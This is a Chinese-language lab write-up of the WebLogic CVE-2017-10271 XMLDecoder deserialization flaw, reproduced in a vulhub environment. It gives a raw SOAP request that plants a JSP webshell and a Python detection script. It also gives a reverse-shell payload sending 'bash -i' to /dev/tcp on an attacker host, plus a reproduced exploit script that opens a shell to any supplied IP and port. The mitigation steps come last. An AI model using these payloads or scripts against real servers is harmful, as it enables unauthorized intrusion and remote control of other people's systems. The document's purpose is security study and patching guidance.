漏洞产生原因:
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
涉及版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
环境搭建:
vulhub
工具利用:
检测:
工具:weblogicScanner https://github.com/0xn0ne/weblogicScanner使用说明:
需要pip安装request
使用说明
usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY[VULNERABILITY ...] [-o OUTPUT]optional arguments:-h, --help 帮助信息-t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]直接填入目标或文件列表(默认使用端口7001). 例子:127.0.0.1:7001-v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]漏洞名称或CVE编号,例子:"weblogic administrator console"-o OUTPUT, --output OUTPUT输出 json 结果的路径。默认不输出结果-s, --ssl 强制使用 https 协议请求
效果:
weblogicScanner使用说明: WeblogicScan Weblogic漏洞扫描器 | 🔰雨苁ℒ🔰 (ddosi.com)
注:目前暂不支持Weblogic 10.3.6 Weblogic 12.1.3.0.0和Weblogic12.2.1.3.0 JDK1.7版本的CVE-2019-2729漏洞检测。
忽略:“
淦!想要这个工具,没找到
”
访问:http://ip:7001/wls-wsat/CoordinatorPortType11 显示如下:
通过漏洞写入webshell:
访问:http://ip:7001/wls-wsat/CoordinatorPortType
抓包改包:
将get方式改为POST
将webshell替换上去
webshell:
POST s-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string><oid><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
之后访问: http://ip:7001/bea_wls_internal/test.jsp
上传的网页显示成功,说明测试成功
另一个webshell,效果是ipconfig
脚本利用:
python3:
import requestsheaders = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Upgrade-Insecure-Requests': '1','Content-Type': 'text/xml'}
def Webogic_XMLDecoder_poc(url):
# 输入url:#url="http://ip:7001"posturl=url+'s-wsat/CoordinatorPortType'data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.6.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internals-wsat/54p17w/war/test.txt</string><void method="println"><string>xmldecoder_vul_test</string><oid><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'''print (url)try:r=requests.post(posturl,data=data,headers=headers,timeout=5)geturl=url+"s-wsat/test.txt"print (geturl)check_result = requests.get(geturl,headers=headers,timeout=5)if 'xmldecoder_vul_test' in check_result.text:print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")except:print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")if __name__ == '__main__':url = "http://192.168.189.137:7001"Webogic_XMLDecoder_poc(url)
额…不过这里运行脚本显示这个cve不存在。。。。emmm
反弹shell:
抓包改包为:
GET / HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<oid>
<void index="1">
<string>-c</string>
<oid>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.184.1/7089 0>&1</string>
<oid>
</array>
<void method="start"/><oid>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意:注意:在真实环境下,攻击机的IP必须是公网的IP,否则靶机无法返回webshell连接
这里的反弹shell效果用了大佬的图:
可以看到获得了靶机的root权限
反弹shell的exp:
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.techimport requests
import sys
import jsondef title():print('+------------------------------------------')print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')print('+ \033[34m公众号 : PeiQi文库 \033[0m')print('+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m')print('+ \033[34m Weblogic 12.1.3.0.0 \033[0m')print('+ \033[34m Weblogic 12.2.1.0.0 \033[0m')print('+ \033[34m Weblogic 12.2.1.2.0 \033[0m')print('+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m')print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m')print('+ \033[36mCmd >>> shell(反弹shell) \033[0m')print('+------------------------------------------')def POC_1(target_url, IP, PORT):vuln_url = target_url + "s-wsat/CoordinatorPortType"headers = {"Content-Type": "text/xml","User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string><oid><void index="1"><string>-c</string><oid><void index="2"><string>bash -i >& /dev/tcp/%s/%s 0>&1</string><oid></array><void method="start"/><oid></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>""" % (IP,PORT)try:response = requests.request("POST", url=vuln_url, headers=headers, data=data)except:print("\033[31m[x] 漏洞利用失败 \033[0m")if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))IP = str(input("\033[35m请输入监听IP >>> \033[0m"))PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))POC_1(target_url, IP, PORT)
防护:
1.临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形 成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat删除后重启Weblogic域控制器服务:DOMAIN_NAME/bin/stopWeblogic.sh #停止服务DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。2.官方补丁修复前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839